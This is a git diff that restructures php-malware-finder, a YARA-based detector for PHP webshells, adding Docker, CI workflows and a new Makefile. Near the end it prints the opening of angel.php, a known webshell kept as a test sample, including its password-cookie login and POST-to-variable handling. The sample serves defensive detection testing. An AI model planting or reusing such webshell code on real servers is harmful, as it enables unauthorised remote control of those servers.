diff options
Diffstat (limited to '')
| -rw-r--r-- | .dockerignore | 4 | ||||
| -rw-r--r-- | .github/workflows/docker.yml | 41 | ||||
| -rw-r--r-- | .github/workflows/release.yml | 40 | ||||
| -rw-r--r-- | .github/workflows/test.yml | 19 | ||||
| -rw-r--r-- | .gitignore | 2 | ||||
| -rw-r--r-- | Dockerfile | 37 | ||||
| -rw-r--r-- | Makefile | 53 | ||||
| -rw-r--r-- | README.md | 29 | ||||
| -rw-r--r-- | data/php.yar (renamed from php-malware-finder/php.yar) | 0 | ||||
| -rw-r--r-- | data/samples/artificial/bypasses.php (renamed from php-malware-finder/samples/artificial/bypasses.php) | 0 | ||||
| -rw-r--r-- | data/samples/artificial/dodgy.php (renamed from php-malware-finder/samples/artificial/dodgy.php) | 0 | ||||
| -rw-r--r-- | data/samples/artificial/obfuscated.php (renamed from php-malware-finder/samples/artificial/obfuscated.php) | 0 | ||||
| -rw-r--r-- | data/samples/classic/ajaxshell.php (renamed from php-malware-finder/samples/classic/ajaxshell.php) | 0 | ||||
| -rw-r--r-- | data/samples/classic/angel.php (renamed from php-malware-finder/samples/classic/angel.php) | 4298 | ||||
| -rw-r--r-- | data/samples/classic/b374k.php (renamed from php-malware-finder/samples/classic/b374k.php) | 0 | ||||
| -rw-r--r-- | data/samples/classic/c100.php (renamed from php-malware-finder/samples/classic/c100.php) | 0 | ||||
| -rw-r--r-- | data/samples/classic/c99.php (renamed from php-malware-finder/samples/classic/c99.php) | 6312 | ||||
| -rw-r--r-- | data/samples/classic/cyb3rsh3ll.php (renamed from php-malware-finder/samples/classic/cyb3rsh3ll.php) | 15844 | ||||
| -rw-r--r-- | data/samples/classic/r57.php (renamed from php-malware-finder/samples/classic/r57.php) | 4602 | ||||
| -rw-r--r-- | data/samples/classic/simattacker.php (renamed from php-malware-finder/samples/classic/simattacker.php) | 1512 | ||||
| -rw-r--r-- | data/samples/classic/sosyete.php (renamed from php-malware-finder/samples/classic/sosyete.php) | 450 | ||||
| -rw-r--r-- | data/samples/cpanel.php (renamed from php-malware-finder/samples/cpanel.php) | 0 | ||||
| -rw-r--r-- | data/samples/freepbx.php (renamed from php-malware-finder/samples/freepbx.php) | 0 | ||||
| -rw-r--r-- | data/samples/obfuscators/cipher_design.php (renamed from php-malware-finder/samples/obfuscators/cipher_design.php) | 0 | ||||
| -rw-r--r-- | data/samples/obfuscators/online_php_obfuscator.php (renamed from php-malware-finder/samples/obfuscators/online_php_obfuscator.php) | 0 | ||||
| -rw-r--r-- | data/samples/obfuscators/phpencode.php (renamed from php-malware-finder/samples/obfuscators/phpencode.php) | 0 | ||||
| -rw-r--r-- | data/samples/real/awvjtnz.php (renamed from php-malware-finder/samples/real/awvjtnz.php) | 0 | ||||
| -rw-r--r-- | data/samples/real/exceptions.php (renamed from php-malware-finder/samples/real/exceptions.php) | 0 | ||||
| -rw-r--r-- | data/samples/real/guidtz.php (renamed from php-malware-finder/samples/real/guidtz.php) | 150 | ||||
| -rw-r--r-- | data/samples/real/ice.php (renamed from php-malware-finder/samples/real/ice.php) | 0 | ||||
| -rw-r--r-- | data/samples/real/include.php (renamed from php-malware-finder/samples/real/include.php) | 0 | ||||
| -rw-r--r-- | data/samples/real/nano.php (renamed from php-malware-finder/samples/real/nano.php) | 0 | ||||
| -rw-r--r-- | data/samples/real/ninja.php (renamed from php-malware-finder/samples/real/ninja.php) | 0 | ||||
| -rw-r--r-- | data/samples/real/novahot.php (renamed from php-malware-finder/samples/real/novahot.php) | 0 | ||||
| -rw-r--r-- | data/samples/real/srt.php (renamed from php-malware-finder/samples/real/srt.php) | 0 | ||||
| -rw-r--r-- | data/samples/real/sucuri_2014_04.php (renamed from php-malware-finder/samples/real/sucuri_2014_04.php) | 0 | ||||
| -rw-r--r-- | data/samples/undetected/smart.php (renamed from php-malware-finder/samples/undetected/smart.php) | 0 | ||||
| -rw-r--r-- | data/whitelist.yar (renamed from php-malware-finder/whitelist.yar) | 0 | ||||
| -rw-r--r-- | data/whitelists/custom.yar (renamed from php-malware-finder/whitelists/custom.yar) | 0 | ||||
| -rw-r--r-- | data/whitelists/drupal.yar (renamed from php-malware-finder/whitelists/drupal.yar) | 0 | ||||
| -rw-r--r-- | data/whitelists/magento1ce.yar (renamed from php-malware-finder/whitelists/magento1ce.yar) | 0 | ||||
| -rw-r--r-- | data/whitelists/magento2.yar (renamed from php-malware-finder/whitelists/magento2.yar) | 0 | ||||
| -rw-r--r-- | data/whitelists/phpmyadmin.yar (renamed from php-malware-finder/whitelists/phpmyadmin.yar) | 0 | ||||
| -rw-r--r-- | data/whitelists/prestashop.yar (renamed from php-malware-finder/whitelists/prestashop.yar) | 0 | ||||
| -rw-r--r-- | data/whitelists/symfony.yar (renamed from php-malware-finder/whitelists/symfony.yar) | 0 | ||||
| -rw-r--r-- | data/whitelists/wordpress.yar (renamed from php-malware-finder/whitelists/wordpress.yar) | 0 | ||||
| -rw-r--r-- | go.mod | 6 | ||||
| -rw-r--r-- | go.sum | 8 | ||||
| -rw-r--r-- | main.go (renamed from php-malware-finder/phpmalwarefinder.go) | 210 | ||||
| -rwxr-xr-x | tests.sh (renamed from php-malware-finder/tests.sh) | 18 | ||||
| -rwxr-xr-x | utils/generate_whitelist.py (renamed from php-malware-finder/utils/generate_whitelist.py) | 0 | ||||
| -rwxr-xr-x | utils/magento1_whitelist.sh (renamed from php-malware-finder/utils/magento1_whitelist.sh) | 0 | ||||
| -rwxr-xr-x | utils/magento2_whitelist.sh (renamed from php-malware-finder/utils/magento2_whitelist.sh) | 0 | ||||
| -rwxr-xr-x | utils/mass_whitelist.py (renamed from php-malware-finder/utils/mass_whitelist.py) | 0 |
54 files changed, 16938 insertions, 16697 deletions
diff --git a/.dockerignore b/.dockerignore new file mode 100644 index 0000000..c454426 --- /dev/null +++ b/.dockerignore | |||
| @@ -0,0 +1,4 @@ | |||
| 1 | .idea/ | ||
| 2 | .github/ | ||
| 3 | utils/ | ||
| 4 | php-malware-finder | ||
diff --git a/.github/workflows/docker.yml b/.github/workflows/docker.yml new file mode 100644 index 0000000..b44e0b7 --- /dev/null +++ b/.github/workflows/docker.yml | |||
| @@ -0,0 +1,41 @@ | |||
| 1 | name: Docker | ||
| 2 | |||
| 3 | on: | ||
| 4 | push: | ||
| 5 | branches: | ||
| 6 | - master | ||
| 7 | tags: | ||
| 8 | - '*' | ||
| 9 | pull_request: | ||
| 10 | branches: | ||
| 11 | - master | ||
| 12 | |||
| 13 | jobs: | ||
| 14 | |||
| 15 | docker-image: | ||
| 16 | name: Build Image | ||
| 17 | runs-on: ubuntu-latest | ||
| 18 | |||
| 19 | steps: | ||
| 20 | - name: Checkout code | ||
| 21 | uses: actions/checkout@v3 | ||
| 22 | |||
| 23 | - name: Setup docker | ||
| 24 | uses: docker/setup-buildx-action@v1 | ||
| 25 | |||
| 26 | - name: Log into container registry | ||
| 27 | uses: docker/login-action@v1 | ||
| 28 | with: | ||
| 29 | registry: ghcr.io | ||
| 30 | username: ${{ github.repository_owner }} | ||
| 31 | password: ${{ secrets.GITHUB_TOKEN }} | ||
| 32 | |||
| 33 | - name: Build image | ||
| 34 | run: make docker | ||
| 35 | |||
| 36 | - name: Test image | ||
| 37 | run: make docker-tests | ||
| 38 | |||
| 39 | - name: Publish image | ||
| 40 | if: github.event_name != 'pull_request' | ||
| 41 | run: make docker-publish | ||
diff --git a/.github/workflows/release.yml b/.github/workflows/release.yml new file mode 100644 index 0000000..6b1647a --- /dev/null +++ b/.github/workflows/release.yml | |||
| @@ -0,0 +1,40 @@ | |||
| 1 | name: Release | ||
| 2 | |||
| 3 | on: | ||
| 4 | push: | ||
| 5 | tags: | ||
| 6 | - '*' | ||
| 7 | |||
| 8 | jobs: | ||
| 9 | |||
| 10 | release: | ||
| 11 | name: Release | ||
| 12 | runs-on: ubuntu-latest | ||
| 13 | |||
| 14 | steps: | ||
| 15 | - uses: actions/checkout@v3 | ||
| 16 | |||
| 17 | - name: Set up Go | ||
| 18 | uses: actions/setup-go@v3 | ||
| 19 | with: | ||
| 20 | go-version: '^1.18' | ||
| 21 | |||
| 22 | # apt repos don't have YARA v4.2, install it from git | ||
| 23 | - name: Install YARA | ||
| 24 | run: | | ||
| 25 | git clone --depth 1 https://github.com/virustotal/yara.git | ||
| 26 | cd yara | ||
| 27 | bash ./build.sh | ||
| 28 | sudo make install | ||
| 29 | cd .. | ||
| 30 | |||
| 31 | - name: Build | ||
| 32 | run: make | ||
| 33 | |||
| 34 | - name: Create release | ||
| 35 | uses: ncipollo/release-action@v1 | ||
| 36 | with: | ||
| 37 | artifacts: "php-malware-finder" | ||
| 38 | token: ${{ secrets.GITHUB_TOKEN }} | ||
| 39 | allowUpdates: true | ||
| 40 | omitBody: true | ||
diff --git a/.github/workflows/test.yml b/.github/workflows/test.yml index f29e422..a3cbc35 100644 --- a/.github/workflows/test.yml +++ b/.github/workflows/test.yml | |||
| @@ -9,17 +9,25 @@ on: | |||
| 9 | - master | 9 | - master |
| 10 | 10 | ||
| 11 | jobs: | 11 | jobs: |
| 12 | |||
| 12 | test: | 13 | test: |
| 13 | name: Test | 14 | name: Test |
| 14 | runs-on: ubuntu-latest | 15 | runs-on: ubuntu-latest |
| 16 | strategy: | ||
| 17 | matrix: | ||
| 18 | go_version: | ||
| 19 | - '~1.16' | ||
| 20 | - '~1.17' | ||
| 21 | - '^1.18' | ||
| 22 | |||
| 15 | steps: | 23 | steps: |
| 16 | - name: Checkout code | 24 | - name: Checkout code |
| 17 | uses: actions/checkout@v2 | 25 | uses: actions/checkout@v3 |
| 18 | 26 | ||
| 19 | - name: Setup Go | 27 | - name: Setup Go |
| 20 | uses: actions/setup-go@v2 | 28 | uses: actions/setup-go@v3 |
| 21 | with: | 29 | with: |
| 22 | go-version: '^1.17' | 30 | go-version: ${{ matrix.go_version }} |
| 23 | 31 | ||
| 24 | # apt repos don't have YARA v4.2, install it from git | 32 | # apt repos don't have YARA v4.2, install it from git |
| 25 | - name: Install YARA | 33 | - name: Install YARA |
| @@ -32,4 +40,7 @@ jobs: | |||
| 32 | 40 | ||
| 33 | - name: Run tests | 41 | - name: Run tests |
| 34 | run: | | 42 | run: | |
| 35 | LD_LIBRARY_PATH=/usr/local/lib make tests | 43 | make |
| 44 | make tests | ||
| 45 | env: | ||
| 46 | LD_LIBRARY_PATH: /usr/local/lib | ||
| @@ -1,2 +1,2 @@ | |||
| 1 | php-malware-finder/phpmalwarefinder | 1 | php-malware-finder |
| 2 | .idea | 2 | .idea |
diff --git a/Dockerfile b/Dockerfile new file mode 100644 index 0000000..e13b19d --- /dev/null +++ b/Dockerfile | |||
| @@ -0,0 +1,37 @@ | |||
| 1 | FROM golang:alpine as build | ||
| 2 | WORKDIR /app | ||
| 3 | |||
| 4 | # install build dependencies | ||
| 5 | RUN apk add --no-cache \ | ||
| 6 | build-base \ | ||
| 7 | automake \ | ||
| 8 | autoconf \ | ||
| 9 | pkgconfig \ | ||
| 10 | libtool \ | ||
| 11 | bison \ | ||
| 12 | libressl-dev \ | ||
| 13 | git | ||
| 14 | |||
| 15 | # install YARA | ||
| 16 | RUN git clone --depth 1 https://github.com/virustotal/yara.git \ | ||
| 17 | && cd yara \ | ||
| 18 | && sh ./build.sh \ | ||
| 19 | && make install \ | ||
| 20 | && cd .. | ||
| 21 | |||
| 22 | # copy and build PMF | ||
| 23 | COPY . . | ||
| 24 | RUN make | ||
| 25 | |||
| 26 | FROM golang:alpine | ||
| 27 | LABEL org.opencontainers.image.source="https://github.com/jvoisin/php-malware-finder" | ||
| 28 | WORKDIR /app | ||
| 29 | |||
| 30 | # install dependencies | ||
| 31 | RUN apk add --no-cache libressl | ||
| 32 | |||
| 33 | # copy files from build container | ||
| 34 | COPY --from=build /usr/local/lib /usr/lib | ||
| 35 | COPY --from=build /app/php-malware-finder /app | ||
| 36 | |||
| 37 | ENTRYPOINT ["/app/php-malware-finder", "-v", "-a", "-c", "/data"] | ||
| @@ -1,15 +1,48 @@ | |||
| 1 | .PHONY: clean deps tests | 1 | .PHONY: clean rebuild update-deps tests help docker docker-tests docker-publish |
| 2 | 2 | ||
| 3 | all: php-malware-finder/phpmalwarefinder | 3 | NAME := php-malware-finder |
| 4 | TAG_COMMIT := $(shell git rev-list --abbrev-commit --all --max-count=1) | ||
| 5 | VERSION := $(shell git describe --abbrev=0 --tags --exact-match $(TAG_COMMIT) 2>/dev/null || true) | ||
| 6 | IMAGE_VERSION := $(VERSION) | ||
| 7 | DATE := $(shell git log -1 --format=%cd --date=format:"%Y%m%d%H%M") | ||
| 8 | ifeq ($(VERSION),) | ||
| 9 | VERSION := $(DATE) | ||
| 10 | IMAGE_VERSION := latest | ||
| 11 | endif | ||
| 12 | LDFLAGS := "-X main.version=$(VERSION)" | ||
| 13 | GO_FLAGS := -o $(NAME) -ldflags $(LDFLAGS) | ||
| 14 | IMAGE_REGISTRY := ghcr.io | ||
| 15 | IMAGE_REGISTRY_USER := jvoisin | ||
| 16 | IMAGE_NAME := $(IMAGE_REGISTRY)/$(IMAGE_REGISTRY_USER)/$(NAME) | ||
| 4 | 17 | ||
| 5 | php-malware-finder/phpmalwarefinder: | 18 | all: php-malware-finder |
| 6 | go build -o php-malware-finder/phpmalwarefinder php-malware-finder/phpmalwarefinder.go | ||
| 7 | 19 | ||
| 8 | clean: | 20 | php-malware-finder: ## Build application |
| 9 | rm -f php-malware-finder/phpmalwarefinder | 21 | @go build $(GO_FLAGS) . |
| 10 | 22 | ||
| 11 | deps: | 23 | clean: ## Delete build artifacts |
| 12 | go mod tidy -v | 24 | @rm -f $(NAME) |
| 13 | 25 | ||
| 14 | tests: php-malware-finder/phpmalwarefinder | 26 | rebuild: clean all ## Delete build artifacts and rebuild |
| 15 | @cd ./php-malware-finder && bash ./tests.sh | 27 | |
| 28 | update-deps: ## Update dependencies | ||
| 29 | @go get -u . | ||
| 30 | @go mod tidy -v | ||
| 31 | |||
| 32 | tests: php-malware-finder ## Run test suite | ||
| 33 | @bash ./tests.sh | ||
| 34 | |||
| 35 | docker: ## Build docker image | ||
| 36 | docker pull $(IMAGE_NAME):latest || true | ||
| 37 | docker build --pull -t $(IMAGE_NAME):latest . | ||
| 38 | docker tag $(IMAGE_NAME):latest $(IMAGE_NAME):$(IMAGE_VERSION) | ||
| 39 | |||
| 40 | docker-tests: ## Run docker image against the samples folder | ||
| 41 | @docker run --rm -v $(shell pwd)/data/samples:/data $(IMAGE_NAME):latest | ||
| 42 | |||
| 43 | docker-publish: ## Push docker image to the container registry | ||
| 44 | @docker push $(IMAGE_NAME):latest | ||
| 45 | @(test "$(IMAGE_VERSION)" != "latest" && docker push $(IMAGE_NAME):$(IMAGE_VERSION)) || true | ||
| 46 | |||
| 47 | help: ## Show this help | ||
| 48 | @grep -E '^[a-zA-Z_-]+:.*?## .*$$' $(MAKEFILE_LIST) | sort | awk 'BEGIN {FS = ":.*?## "}; {printf "\033[36m%-20s\033[0m %s\n", $$1, $$2}' | ||
| @@ -60,22 +60,28 @@ PMF tries as much as possible to use semantic patterns, to detect things like | |||
| 60 | and then passed to some dangerous function like `system`". | 60 | and then passed to some dangerous function like `system`". |
| 61 | 61 | ||
| 62 | ## Installation | 62 | ## Installation |
| 63 | |||
| 64 | ### From source | ||
| 65 | |||
| 63 | - Install Go (using your package manager, or [manually](https://go.dev/doc/install)) | 66 | - Install Go (using your package manager, or [manually](https://go.dev/doc/install)) |
| 64 | - Install libyara >= 4.2 (using your package manager, or [from source](https://yara.readthedocs.io/en/stable/gettingstarted.html)) | 67 | - Install libyara >= 4.2 (using your package manager, or [from source](https://yara.readthedocs.io/en/stable/gettingstarted.html)) |
| 65 | - Download php-malware-finder: `git clone https://github.com/jvoisin/php-malware-finder.git` | 68 | - Download php-malware-finder: `git clone https://github.com/jvoisin/php-malware-finder.git` |
| 66 | - Build php-malware-finder: `cd php-malware-finder && make` | 69 | - Build php-malware-finder: `cd php-malware-finder && make` |
| 67 | 70 | ||
| 71 | or replace the last 2 steps with `go install github.com/jvoisin/php-malware-finder`, | ||
| 72 | which will directly compile and install PMF in your `${GOROOT}/bin` folder. | ||
| 73 | |||
| 68 | ## How to use it? | 74 | ## How to use it? |
| 69 | 75 | ||
| 70 | ``` | 76 | ``` |
| 71 | $ ./phpmalwarefinder -h | 77 | $ ./php-malware-finder -h |
| 72 | Usage: | 78 | Usage: |
| 73 | phpmalwarefinder [OPTIONS] [Target] | 79 | php-malware-finder [OPTIONS] [Target] |
| 74 | 80 | ||
| 75 | Application Options: | 81 | Application Options: |
| 76 | -r, --rules-dir= Rules location (default: /etc/phpmalwarefinder or .) | 82 | -r, --rules-dir= Alternative rules location (default: embedded rules) |
| 77 | -a, --show-all Display all matched rules | 83 | -a, --show-all Display all matched rules |
| 78 | -f, --fast Enable YARA's fast mode' | 84 | -f, --fast Enable YARA's fast mode |
| 79 | -R, --rate-limit= Max. filesystem ops per second, 0 for no limit (default: 0) | 85 | -R, --rate-limit= Max. filesystem ops per second, 0 for no limit (default: 0) |
| 80 | -v, --verbose Verbose mode | 86 | -v, --verbose Verbose mode |
| 81 | -w, --workers= Number of workers to spawn for scanning (default: 32) | 87 | -w, --workers= Number of workers to spawn for scanning (default: 32) |
| @@ -84,6 +90,7 @@ Application Options: | |||
| 84 | -i, --exclude-imgs Do not scan image files | 90 | -i, --exclude-imgs Do not scan image files |
| 85 | -x, --exclude-ext= Additional file extensions to exclude | 91 | -x, --exclude-ext= Additional file extensions to exclude |
| 86 | -u, --update Update rules | 92 | -u, --update Update rules |
| 93 | -V, --version Show version number and exit | ||
| 87 | 94 | ||
| 88 | Help Options: | 95 | Help Options: |
| 89 | -h, --help Show this help message | 96 | -h, --help Show this help message |
| @@ -92,7 +99,7 @@ Help Options: | |||
| 92 | Or if you prefer to use `yara`: | 99 | Or if you prefer to use `yara`: |
| 93 | 100 | ||
| 94 | ``` | 101 | ``` |
| 95 | $ yara -r ./php.yar /var/www | 102 | $ yara -r ./data/php.yar /var/www |
| 96 | ``` | 103 | ``` |
| 97 | 104 | ||
| 98 | Please keep in mind that you should use at least YARA 3.4 because we're using | 105 | Please keep in mind that you should use at least YARA 3.4 because we're using |
| @@ -103,6 +110,16 @@ have support for hashes. | |||
| 103 | 110 | ||
| 104 | Oh, and by the way, you can run the *comprehensive* testsuite with `make tests`. | 111 | Oh, and by the way, you can run the *comprehensive* testsuite with `make tests`. |
| 105 | 112 | ||
| 113 | ### Docker | ||
| 114 | |||
| 115 | If you want to avoid having to install Go and libyara, you can also use our | ||
| 116 | docker image and simply mount the folder you want to scan to the container's | ||
| 117 | `/data` directory: | ||
| 118 | |||
| 119 | ``` | ||
| 120 | $ docker run --rm -v /folder/to/scan:/data ghcr.io/jvoisin/php-malware-finder | ||
| 121 | ``` | ||
| 122 | |||
| 106 | ## Whitelisting | 123 | ## Whitelisting |
| 107 | 124 | ||
| 108 | Check the [whitelist.yar](https://github.com/jvoisin/php-malware-finder/blob/master/php-malware-finder/whitelist.yar) file. | 125 | Check the [whitelist.yar](https://github.com/jvoisin/php-malware-finder/blob/master/php-malware-finder/whitelist.yar) file. |
| @@ -115,7 +132,7 @@ Because: | |||
| 115 | - It doesn't use [a single rule per sample]( | 132 | - It doesn't use [a single rule per sample]( |
| 116 | https://github.com/Neo23x0/signature-base/blob/e264d66a8ea3be93db8482ab3d639a2ed3e9c949/yara/thor-webshells.yar | 133 | https://github.com/Neo23x0/signature-base/blob/e264d66a8ea3be93db8482ab3d639a2ed3e9c949/yara/thor-webshells.yar |
| 117 | ), since it only cares about finding malicious patterns, not specific webshells | 134 | ), since it only cares about finding malicious patterns, not specific webshells |
| 118 | - It has a [complete testsuite](https://travis-ci.org/jvoisin/php-malware-finder), to avoid regressions | 135 | - It has a [complete testsuite](https://github.com/jvoisin/php-malware-finder/actions), to avoid regressions |
| 119 | - Its whitelist system doesn't rely on filenames | 136 | - Its whitelist system doesn't rely on filenames |
| 120 | - It doesn't rely on (slow) [entropy computation]( https://en.wikipedia.org/wiki/Entropy_(information_theory) ) | 137 | - It doesn't rely on (slow) [entropy computation]( https://en.wikipedia.org/wiki/Entropy_(information_theory) ) |
| 121 | - It uses a ghetto-style static analysis, instead of relying on file hashes | 138 | - It uses a ghetto-style static analysis, instead of relying on file hashes |
diff --git a/php-malware-finder/php.yar b/data/php.yar index 4470e1b..4470e1b 100644 --- a/php-malware-finder/php.yar +++ b/data/php.yar | |||
diff --git a/php-malware-finder/samples/artificial/bypasses.php b/data/samples/artificial/bypasses.php index 9d849a4..9d849a4 100644 --- a/php-malware-finder/samples/artificial/bypasses.php +++ b/data/samples/artificial/bypasses.php | |||
diff --git a/php-malware-finder/samples/artificial/dodgy.php b/data/samples/artificial/dodgy.php index e127588..e127588 100644 --- a/php-malware-finder/samples/artificial/dodgy.php +++ b/data/samples/artificial/dodgy.php | |||
diff --git a/php-malware-finder/samples/artificial/obfuscated.php b/data/samples/artificial/obfuscated.php index fc66be8..fc66be8 100644 --- a/php-malware-finder/samples/artificial/obfuscated.php +++ b/data/samples/artificial/obfuscated.php | |||
diff --git a/php-malware-finder/samples/classic/ajaxshell.php b/data/samples/classic/ajaxshell.php index 0445858..0445858 100644 --- a/php-malware-finder/samples/classic/ajaxshell.php +++ b/data/samples/classic/ajaxshell.php | |||
diff --git a/php-malware-finder/samples/classic/angel.php b/data/samples/classic/angel.php index 28a1c79..fdec11e 100644 --- a/php-malware-finder/samples/classic/angel.php +++ b/data/samples/classic/angel.php | |||
| @@ -1,2149 +1,2149 @@ | |||
| 1 | <?php | 1 | <?php |
| 2 | error_reporting(7); | 2 | error_reporting(7); |
| 3 | @set_magic_quotes_runtime(0); | 3 | @set_magic_quotes_runtime(0); |
| 4 | ob_start(); | 4 | ob_start(); |
| 5 | $mtime = explode(' ', microtime()); | 5 | $mtime = explode(' ', microtime()); |
| 6 | $starttime = $mtime[1] + $mtime[0]; | 6 | $starttime = $mtime[1] + $mtime[0]; |
| 7 | define('SA_ROOT', str_replace('\\', '/', dirname(__FILE__)).'/'); | 7 | define('SA_ROOT', str_replace('\\', '/', dirname(__FILE__)).'/'); |
| 8 | define('IS_WIN', DIRECTORY_SEPARATOR == '\\'); | 8 | define('IS_WIN', DIRECTORY_SEPARATOR == '\\'); |
| 9 | define('IS_COM', class_exists('COM') ? 1 : 0 ); | 9 | define('IS_COM', class_exists('COM') ? 1 : 0 ); |
| 10 | define('IS_GPC', get_magic_quotes_gpc()); | 10 | define('IS_GPC', get_magic_quotes_gpc()); |
| 11 | $dis_func = get_cfg_var('disable_functions'); | 11 | $dis_func = get_cfg_var('disable_functions'); |
| 12 | define('IS_PHPINFO', (!eregi("phpinfo",$dis_func)) ? 1 : 0 ); | 12 | define('IS_PHPINFO', (!eregi("phpinfo",$dis_func)) ? 1 : 0 ); |
| 13 | @set_time_limit(0); | 13 | @set_time_limit(0); |
| 14 | 14 | ||
| 15 | foreach($_POST as $key => $value) { | 15 | foreach($_POST as $key => $value) { |
| 16 | if (IS_GPC) { | 16 | if (IS_GPC) { |
| 17 | $value = s_array($value); | 17 | $value = s_array($value); |
| 18 | } | 18 | } |
| 19 | $$key = $value; | 19 | $$key = $value; |
| 20 | } | 20 | } |
| 21 | /*===================== ³ÌÐòÅäÖà =====================*/ | 21 | /*===================== ³ÌÐòÅäÖà =====================*/ |
| 22 | 22 | ||
| 23 | //echo encode_pass('angel');exit; | 23 | //echo encode_pass('angel');exit; |
| 24 | //angel = ec38fe2a8497e0a8d6d349b3533038cb | 24 | //angel = ec38fe2a8497e0a8d6d349b3533038cb |
| 25 | // Èç¹ûÐèÒªÃÜÂëÑéÖ¤,ÇëÐ޸ĵǽÃÜÂë,Áô¿ÕΪ²»ÐèÒªÑéÖ¤ | 25 | // Èç¹ûÐèÒªÃÜÂëÑéÖ¤,ÇëÐ޸ĵǽÃÜÂë,Áô¿ÕΪ²»ÐèÒªÑéÖ¤ |
| 26 | $pass = 'ec38fe2a8497e0a8d6d349b3533038cb'; //angel | 26 | $pass = 'ec38fe2a8497e0a8d6d349b3533038cb'; //angel |
| 27 | 27 | ||
| 28 | //ÈçÄú¶Ô cookie ×÷Ó÷¶Î§ÓÐÌØÊâÒªÇó, »òµÇ¼²»Õý³£, ÇëÐÞ¸ÄÏÂÃæ±äÁ¿, ·ñÔòÇë±£³ÖĬÈÏ | 28 | //ÈçÄú¶Ô cookie ×÷Ó÷¶Î§ÓÐÌØÊâÒªÇó, »òµÇ¼²»Õý³£, ÇëÐÞ¸ÄÏÂÃæ±äÁ¿, ·ñÔòÇë±£³ÖĬÈÏ |
| 29 | // cookie ǰ׺ | 29 | // cookie ǰ׺ |
| 30 | $cookiepre = ''; | 30 | $cookiepre = ''; |
| 31 | // cookie ×÷ÓÃÓò | 31 | // cookie ×÷ÓÃÓò |
| 32 | $cookiedomain = ''; | 32 | $cookiedomain = ''; |
| 33 | // cookie ×÷Ó÷¾¶ | 33 | // cookie ×÷Ó÷¾¶ |
| 34 | $cookiepath = '/'; | 34 | $cookiepath = '/'; |
| 35 | // cookie ÓÐЧÆÚ | 35 | // cookie ÓÐЧÆÚ |
| 36 | $cookielife = 86400; | 36 | $cookielife = 86400; |
| 37 | 37 | ||
| 38 | //³ÌÐòËÑË÷¿ÉдÎļþµÄÀàÐÍ | 38 | //³ÌÐòËÑË÷¿ÉдÎļþµÄÀàÐÍ |
| 39 | !$writabledb && $writabledb = 'php,cgi,pl,asp,inc,js,html,htm,jsp'; | 39 | !$writabledb && $writabledb = 'php,cgi,pl,asp,inc,js,html,htm,jsp'; |
| 40 | /*===================== ÅäÖýáÊø =====================*/ | 40 | /*===================== ÅäÖýáÊø =====================*/ |
| 41 | 41 | ||
| 42 | $charsetdb = array('','armscii8','ascii','big5','binary','cp1250','cp1251','cp1256','cp1257','cp850','cp852','cp866','cp932','dec8','euc-jp','euc-kr','gb2312','gbk','geostd8','greek','hebrew','hp8','keybcs2','koi8r','koi8u','latin1','latin2','latin5','latin7','macce','macroman','sjis','swe7','tis620','ucs2','ujis','utf8'); | 42 | $charsetdb = array('','armscii8','ascii','big5','binary','cp1250','cp1251','cp1256','cp1257','cp850','cp852','cp866','cp932','dec8','euc-jp','euc-kr','gb2312','gbk','geostd8','greek','hebrew','hp8','keybcs2','koi8r','koi8u','latin1','latin2','latin5','latin7','macce','macroman','sjis','swe7','tis620','ucs2','ujis','utf8'); |
| 43 | if ($charset == 'utf8') { | 43 | if ($charset == 'utf8') { |
| 44 | header("content-Type: text/html; charset=utf-8"); | 44 | header("content-Type: text/html; charset=utf-8"); |
| 45 | } elseif ($charset == 'big5') { | 45 | } elseif ($charset == 'big5') { |
| 46 | header("content-Type: text/html; charset=big5"); | 46 | header("content-Type: text/html; charset=big5"); |
| 47 | } elseif ($charset == 'gbk') { | 47 | } elseif ($charset == 'gbk') { |
| 48 | header("content-Type: text/html; charset=gbk"); | 48 | header("content-Type: text/html; charset=gbk"); |
| 49 | } elseif ($charset == 'latin1') { | 49 | } elseif ($charset == 'latin1') { |
| 50 | header("content-Type: text/html; charset=iso-8859-2"); | 50 | header("content-Type: text/html; charset=iso-8859-2"); |
| 51 | } elseif ($charset == 'euc-kr') { | 51 | } elseif ($charset == 'euc-kr') { |
| 52 | header("content-Type: text/html; charset=euc-kr"); | 52 | header("content-Type: text/html; charset=euc-kr"); |
| 53 | } elseif ($charset == 'euc-jp') { | 53 | } elseif ($charset == 'euc-jp') { |
| 54 | header("content-Type: text/html; charset=euc-jp"); | 54 | header("content-Type: text/html; charset=euc-jp"); |
| 55 | } | 55 | } |
| 56 | 56 | ||
| 57 | $self = $_SERVER['PHP_SELF'] ? $_SERVER['PHP_SELF'] : $_SERVER['SCRIPT_NAME']; | 57 | $self = $_SERVER['PHP_SELF'] ? $_SERVER['PHP_SELF'] : $_SERVER['SCRIPT_NAME']; |
| 58 | $timestamp = time(); | 58 | $timestamp = time(); |
| 59 | 59 | ||
| 60 | /*===================== Éí·ÝÑéÖ¤ =====================*/ | 60 | /*===================== Éí·ÝÑéÖ¤ =====================*/ |
| 61 | if ($action == "logout") { | 61 | if ($action == "logout") { |
| 62 | scookie('loginpass', '', -86400 * 365); | 62 | scookie('loginpass', '', -86400 * 365); |
| 63 | @header('Location: '.$self); | 63 | @header('Location: '.$self); |
| 64 | exit; | 64 | exit; |
| 65 | } | 65 | } |
| 66 | if($pass) { | 66 | if($pass) { |
| 67 | if ($action == 'login') { | 67 | if ($action == 'login') { |
| 68 | if ($pass == encode_pass($password)) { | 68 | if ($pass == encode_pass($password)) { |
| 69 | scookie('loginpass',encode_pass($password)); | 69 | scookie('loginpass',encode_pass($password)); |
| 70 | @header('Location: '.$self); | 70 | @header('Location: '.$self); |
| 71 | exit; | 71 | exit; |
| 72 | } | 72 | } |
| 73 | } | 73 | } |
| 74 | if ($_COOKIE['loginpass']) { | 74 | if ($_COOKIE['loginpass']) { |
| 75 | if ($_COOKIE['loginpass'] != $pass) { | 75 | if ($_COOKIE['loginpass'] != $pass) { |
| 76 | loginpage(); | 76 | loginpage(); |
| 77 | } | 77 | } |
| 78 | } else { | 78 | } else { |
| 79 | loginpage(); | 79 | loginpage(); |
| 80 | } | 80 | } |
| 81 | } | 81 | } |
| 82 | /*===================== ÑéÖ¤½áÊø =====================*/ | 82 | /*===================== ÑéÖ¤½áÊø =====================*/ |
| 83 | 83 | ||
| 84 | $errmsg = ''; | 84 | $errmsg = ''; |
| 85 | !$action && $action = 'file'; | 85 | !$action && $action = 'file'; |
| 86 | 86 | ||
| 87 | // ²é¿´PHPINFO | 87 | // ²é¿´PHPINFO |
| 88 | if ($action == 'phpinfo') { | 88 | if ($action == 'phpinfo') { |
